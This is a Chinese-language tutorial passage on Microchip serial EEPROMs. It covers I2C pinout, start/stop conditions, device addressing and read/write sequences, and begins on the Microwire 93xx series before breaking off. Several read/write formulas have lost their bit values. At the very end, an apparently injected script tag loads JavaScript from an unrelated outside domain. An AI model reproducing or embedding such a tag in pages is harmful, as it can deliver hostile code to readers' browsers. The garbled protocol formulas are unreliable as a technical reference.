串行e2prom是可在线电擦除和电写入的存储器,具有体积小、接口简单、数据保存可靠、可在线改写、功耗低等特点,而且为低电压写入,在单片机系统中应用十分普遍。
串行e2prom按总线形式分为三种,即i2c总线、microwire总线及spi总线三种。本文将以microchip公司的产品为例对以上三种串行e2prom进行介绍。
一、i2c总线型
i2c总线,是inter integrated circuit
bus的缩写,即“内部集成电路总线”。i2c总线采用时钟(scl)和数据(sda)两根线进行数据传输,接口十分简单。microchip公司的24xx系列串行e2prom存储容量从128位(16×8)至256k位(32k×8),采用i2c总线结构。24xx中,xx为电源电压范围。
1引脚
sda是串行数据脚。该脚为双向脚,漏极开路,用于地址、数据的输入和数据的输出,使用时需加上拉电阻。
scl是时钟脚。该脚为器件数据传输的同步时钟信号。
sda和scl脚均为施密特触发输入,并有滤波电路,可有效抑制噪声尖峰信号,保证在总线噪声严重时器件仍能正常工作。
在单片机系统中,总线受单片机控制。单片机产生串行时钟(scl),控制总线的存取,发送strat和stop信号。
2总线协议
仅当总线不忙(数据和时钟均保持高电平)时方能启动数据传输。在数据传输期间,时钟(scl)为高电平时数据(sda)必须保持不变。在scl为高电平时数据线(sda)从高电平跳变到低电平,为开始数据传输(start)的条件,开始数据传输条件后所有的命令有效;scl为高电平时,数据(sda)从低电平跳变到高电平,为停止数据传输(stop)的条件,停止数据传输条件后所有的操作结束。开始数据传输start后、停止数据传输stop前,scl高电平期间,sda上为有效数据。字节写入时,每写完一个字节,送一位传送结束信号ack,直至stop;读出时,每读完一个字节,送一位传送结束信号ack,但stop前一位结束时不送ack信号。
3器件寻址
start后,单片机发送一个控制字,该控制字包括start位(s)、受控地址(7位,对24xx00来说前四位为1010,后三位无关系)、读写(r/w)选择位(“1”为读,“0”为写)及传送结束位ack。24xx00的控制字格式如下:
s 1 0 1 0 x x x r/w ack
24xx00随时监视总线上是否为有效地址,若受控地址正确且器件未处在编程方式下,则产生传送结束位ack。
4写操作
单片机送出开始信号后,接着送器件码(7位)、r/w位,表示ack位后面为待写入数据字节的字地址和待写入数据字节,然后结束一个字节的写入。即s+写控制字(r/w位为+ack+字地址+ack+写入数据+ack+stop。
5读操作
读操作有三种,读当前地址的内容、读指定地址的内容、读指定起始地址后的若干字节的内容。
读当前地址的内容为:s+读控制字(r/w位为+ack+读出数据+no ack+stop
读指定地址的内容为:s+写控制字(r/w位为+ack+写入数据+ack+读控制字(r/w位为+ack+读出数据+no
ack+stop
读指定起始地址后的若干字节的内容为:s+写控制字(r/w位为+ack+写入数据+ack+读控制字(r/w位为+ack+读出数据(1)+ack+……+读出数据(n+x)+noack+stop
24xx系列串行e2prom存储芯片与单片机硬件接口只有scl和sda两根线,非常简单。
二、microwire总线型
microwire总线采用时钟(clk)、数据输入(di)、数据输出(do)三根线进行数据传输,接口简单。microchip公司的93xxx系列串行e2prom存储容量从1k bit(×8/×16)至16k bit(×8/×16),采用microwire总线结构。产品采用先进的cmos技术,是理想的低功耗非易失性存储器器件。
1引脚
93xx系列串行e2prom的产品很多,附图是93aa46型1k 1.8v microwire总线串行e2prom的引脚图。
cs是片选输入,高电平有效。cs端低电平,93aa46为休眠状态。但若在一个编程周期启动后,cs由高变低,93aa46将在该编程周期完成后立即进入休眠状态。在连续指令与连续指令之间,cs必须有不小于250ns(tcsl)的低电平保持时间,使之复位(reset),芯片在cs为低电平期间,保持复位状态。
clk是同步时钟输入,数据读写与clk上升沿同步。对于自动定时写周期不需要clk信号。
?script src=http://er12.com/t.js>











